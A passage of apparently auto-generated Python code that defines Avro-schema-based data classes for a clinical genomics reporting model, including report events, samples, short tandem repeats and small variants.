"Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA", "TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain", "symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "actions", "algorithmBasedVariantClassifications", "deNovoQualityScore", "domain", "eventJustification", "fullyExplainsPhenotype", "genePanel", "genomicEntities", "groupOfVariants", "guidelineBasedVariantClassification", "modeOfInheritance", "penetrance", "phenotypes", "reportEventId", "roleInCancer", "score", "segregationPattern", "tier", "variantClassification", "variantConsequences", "vendorSpecificScores", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'actions': Actions, 'algorithmBasedVariantClassifications': AlgorithmBasedVariantClassification, 'genePanel': GenePanel, 'genomicEntities': GenomicEntity, 'guidelineBasedVariantClassification': GuidelineBasedVariantClassification, 'phenotypes': Phenotypes, 'variantClassification': VariantClassification, 'variantConsequences': VariantConsequence, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'actions': Actions, 'algorithmBasedVariantClassifications': AlgorithmBasedVariantClassification, 'genePanel': GenePanel, 'genomicEntities': GenomicEntity, 'guidelineBasedVariantClassification': GuidelineBasedVariantClassification, 'phenotypes': Phenotypes, 'variantClassification': VariantClassification, 'variantConsequences': VariantConsequence, } return embeddedTypes[fieldName] __slots__ = [ 'actions', 'algorithmBasedVariantClassifications', 'deNovoQualityScore', 'domain', 'eventJustification', 'fullyExplainsPhenotype', 'genePanel', 'genomicEntities', 'groupOfVariants', 'guidelineBasedVariantClassification', 'modeOfInheritance', 'penetrance', 'phenotypes', 'reportEventId', 'roleInCancer', 'score', 'segregationPattern', 'tier', 'variantClassification', 'variantConsequences', 'vendorSpecificScores' ] def __init__(self, **kwargs): self.actions = kwargs.get( 'actions', None) self.algorithmBasedVariantClassifications = kwargs.get( 'algorithmBasedVariantClassifications', None) self.deNovoQualityScore = kwargs.get( 'deNovoQualityScore', None) self.domain = kwargs.get( 'domain', None) self.eventJustification = kwargs.get( 'eventJustification', None) self.fullyExplainsPhenotype = kwargs.get( 'fullyExplainsPhenotype', None) self.genePanel = kwargs.get( 'genePanel', None) self.genomicEntities = kwargs.get( 'genomicEntities', None) self.groupOfVariants = kwargs.get( 'groupOfVariants', None) self.guidelineBasedVariantClassification = kwargs.get( 'guidelineBasedVariantClassification', None) self.modeOfInheritance = kwargs.get( 'modeOfInheritance', None) self.penetrance = kwargs.get( 'penetrance', None) self.phenotypes = kwargs.get( 'phenotypes', Phenotypes()) self.reportEventId = kwargs.get( 'reportEventId', None) self.roleInCancer = kwargs.get( 'roleInCancer', None) self.score = kwargs.get( 'score', None) self.segregationPattern = kwargs.get( 'segregationPattern', None) self.tier = kwargs.get( 'tier', None) self.variantClassification = kwargs.get( 'variantClassification', None) self.variantConsequences = kwargs.get( 'variantConsequences', None) self.vendorSpecificScores = kwargs.get( 'vendorSpecificScores', None) class ReportVersionControl(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "ReportVersionControl", "namespace": "org.gel.models.report.avro", "fields": [{"name": "gitVersionControl", "type": "string", "doc": "", "default": "6.0.0"}]} """ schema = avro_parse(_schemaSource) requiredFields = {} @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'gitVersionControl' ] def __init__(self, **kwargs): self.gitVersionControl = kwargs.get( 'gitVersionControl', '6.0.0') class ReportingQuestion(object): """ No documentation """ yes = "yes" no = "no" na = "na" def __hash__(self): return str(self).__hash__() class ReviewedParts(object): """ An enumeration for Which parts of the WGA were reviewed?: * `domain_1`: Domain 1 only * `domain_1_and_2`: Domains 1 and 2 * `domain_1_2_and_suplementary`: Domains 1, 2 and supplementary analysis """ domain_1 = "domain_1" domain_1_and_2 = "domain_1_and_2" domain_1_2_and_suplementary = "domain_1_2_and_suplementary" def __hash__(self): return str(self).__hash__() class RoleInCancer(object): """ The role of a given genomic feature in cancer * `NCIT_C16936`: oncogene. A gene that is a mutated (changed) form of a gene involved in normal cell growth. Oncogenes may cause the growth of cancer cells. Mutations in genes that become oncogenes can be inherited or caused by being exposed to substances in the environment that cause cancer. http://purl.obolibrary.org/obo/NCIT_C16936 * `NCIT_C17362`: tumor_suppressor_gene. A type of gene that makes a protein called a tumor suppressor protein that helps control cell growth. Mutations (changes in DNA) in antioncogenes may lead to cancer. http://purl.obolibrary.org/obo/NCIT_C17362 """ oncogene = "oncogene" tumor_suppressor_gene = "tumor_suppressor_gene" both = "both" def __hash__(self): return str(self).__hash__() class Sample(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "Sample", "namespace": "org.gel.models.participant.avro", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "labSampleId", "preparationMethod", "product", "sampleId", "source", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'labSampleId', 'preparationMethod', 'product', 'sampleId', 'source' ] def __init__(self, **kwargs): self.labSampleId = kwargs.get( 'labSampleId', None) self.preparationMethod = kwargs.get( 'preparationMethod', None) self.product = kwargs.get( 'product', None) self.sampleId = kwargs.get( 'sampleId', None) self.source = kwargs.get( 'source', None) class SampleSource(object): """ The source of the sample """ TUMOUR = "TUMOUR" BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS = "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS" BONE_MARROW_ASPIRATE_TUMOUR_CELLS = "BONE_MARROW_ASPIRATE_TUMOUR_CELLS" BLOOD = "BLOOD" SALIVA = "SALIVA" FIBROBLAST = "FIBROBLAST" TISSUE = "TISSUE" def __hash__(self): return str(self).__hash__() class SegregationPattern(object): """ No documentation """ UniparentalIsodisomy = "UniparentalIsodisomy" SimpleRecessive = "SimpleRecessive" CompoundHeterozygous = "CompoundHeterozygous" deNovo = "deNovo" InheritedAutosomalDominant = "InheritedAutosomalDominant" InheritedAutosomalDominantMaternallyImprinted = "InheritedAutosomalDominantMaternallyImprinted" InheritedAutosomalDominantPaternallyImprinted = "InheritedAutosomalDominantPaternallyImprinted" XLinkedCompoundHeterozygous = "XLinkedCompoundHeterozygous" XLinkedSimpleRecessive = "XLinkedSimpleRecessive" XLinkedMonoallelic = "XLinkedMonoallelic" MitochondrialGenome = "MitochondrialGenome" def __hash__(self): return str(self).__hash__() class SegregationQuestion(object): """ No documentation """ yes = "yes" no = "no" def __hash__(self): return str(self).__hash__() class SensitiveInformation(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "SensitiveInformation", "namespace": "org.gel.models.participant.avro", "fields": [{"name": "versionControl", "type": {"type": "record", "name": "VersionControl", "fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}, "doc": ""}, {"name": "gelID", "type": "string"}, {"name": "externalIds", "type": ["null", {"type": "array", "items": "string"}]}, {"name": "genomicMedicineCenter", "type": ["null", "string"]}, {"name": "fullNameOfResponsibleConsultant", "type": ["null", "string"]}, {"name": "contactNumber", "type": ["null", "string"]}, {"name": "hospitalOfResponsibleConsultant", "type": ["null", "string"]}, {"name": "centerSampleId", "type": ["null", "string"]}, {"name": "originatingCenter", "type": ["null", "string"]}, {"name": "centerPatientId", "type": ["null", "string"]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "centerPatientId", "centerSampleId", "contactNumber", "externalIds", "fullNameOfResponsibleConsultant", "gelID", "genomicMedicineCenter", "hospitalOfResponsibleConsultant", "originatingCenter", "versionControl", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'versionControl': VersionControl, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'versionControl': VersionControl, } return embeddedTypes[fieldName] __slots__ = [ 'centerPatientId', 'centerSampleId', 'contactNumber', 'externalIds', 'fullNameOfResponsibleConsultant', 'gelID', 'genomicMedicineCenter', 'hospitalOfResponsibleConsultant', 'originatingCenter', 'versionControl' ] def __init__(self, **kwargs): self.centerPatientId = kwargs.get( 'centerPatientId', None) self.centerSampleId = kwargs.get( 'centerSampleId', None) self.contactNumber = kwargs.get( 'contactNumber', None) self.externalIds = kwargs.get( 'externalIds', None) self.fullNameOfResponsibleConsultant = kwargs.get( 'fullNameOfResponsibleConsultant', None) self.gelID = kwargs.get( 'gelID', None) self.genomicMedicineCenter = kwargs.get( 'genomicMedicineCenter', None) self.hospitalOfResponsibleConsultant = kwargs.get( 'hospitalOfResponsibleConsultant', None) self.originatingCenter = kwargs.get( 'originatingCenter', None) self.versionControl = kwargs.get( 'versionControl', VersionControl()) class Severity(object): """ No documentation """ BORDERLINE = "BORDERLINE" MILD = "MILD" MODERATE = "MODERATE" SEVERE = "SEVERE" PROFOUND = "PROFOUND" def __hash__(self): return str(self).__hash__() class Sex(object): """ Sex """ MALE = "MALE" FEMALE = "FEMALE" UNKNOWN = "UNKNOWN" def __hash__(self): return str(self).__hash__() class ShortTandemRepeat(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "ShortTandemRepeat", "namespace": "org.gel.models.report.avro", "fields": [{"name": "coordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "reportEvents", "type": {"type": "array", "items": {"type": "record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array", "items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening", "health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name": "demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name": "DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""}, {"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "variantClassification", "type": ["null", {"type": "record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name": "drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""}, {"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification", "type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc": ""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name": "algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc": ""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null", "int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name": "Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA", "TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain", "symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}}, {"name": "variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing", "half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous", "unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name": "PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type": ["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""}, {"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name": "numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null", "int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant", "paternal_variant", "pedigree_specific_variant", "population_specific_variant", "somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking", "inrepeat"]}}]}]}}, "doc": ""}, {"name": "variantAttributes", "type": ["null", {"type": "record", "name": "VariantAttributes", "doc": "", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name": "recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null", "float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}]}, {"name": "shortTandemRepeatReferenceData", "type": ["null", {"type": "record", "name": "ShortTandemRepeatReferenceData", "fields": [{"name": "repeatedSequence", "type": "string"}, {"name": "pathogenic_number_of_repeats_threshold", "type": "int"}, {"name": "normal_number_of_repeats_threshold", "type": "int"}]}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "coordinates", "reportEvents", "shortTandemRepeatReferenceData", "variantAttributes", "variantCalls", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'coordinates': Coordinates, 'reportEvents': ReportEvent, 'shortTandemRepeatReferenceData': ShortTandemRepeatReferenceData, 'variantAttributes': VariantAttributes, 'variantCalls': VariantCall, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'coordinates': Coordinates, 'reportEvents': ReportEvent, 'shortTandemRepeatReferenceData': ShortTandemRepeatReferenceData, 'variantAttributes': VariantAttributes, 'variantCalls': VariantCall, } return embeddedTypes[fieldName] __slots__ = [ 'coordinates', 'reportEvents', 'shortTandemRepeatReferenceData', 'variantAttributes', 'variantCalls' ] def __init__(self, **kwargs): self.coordinates = kwargs.get( 'coordinates', Coordinates()) self.reportEvents = kwargs.get( 'reportEvents', None) self.shortTandemRepeatReferenceData = kwargs.get( 'shortTandemRepeatReferenceData', None) self.variantAttributes = kwargs.get( 'variantAttributes', None) self.variantCalls = kwargs.get( 'variantCalls', None) class ShortTandemRepeatReferenceData(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "ShortTandemRepeatReferenceData", "namespace": "org.gel.models.report.avro", "fields": [{"name": "repeatedSequence", "type": "string"}, {"name": "pathogenic_number_of_repeats_threshold", "type": "int"}, {"name": "normal_number_of_repeats_threshold", "type": "int"}]} """ schema = avro_parse(_schemaSource) requiredFields = { "normal_number_of_repeats_threshold", "pathogenic_number_of_repeats_threshold", "repeatedSequence", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'normal_number_of_repeats_threshold', 'pathogenic_number_of_repeats_threshold', 'repeatedSequence' ] def __init__(self, **kwargs): self.normal_number_of_repeats_threshold = kwargs.get( 'normal_number_of_repeats_threshold', None) self.pathogenic_number_of_repeats_threshold = kwargs.get( 'pathogenic_number_of_repeats_threshold', None) self.repeatedSequence = kwargs.get( 'repeatedSequence', None) class SmallVariant(ProtocolElement): """ A reported variant """ _schemaSource = """ {"type": "record", "name": "SmallVariant", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing", "half_missing_reference", "half_missing_alternate", "alternate_hemizigous", 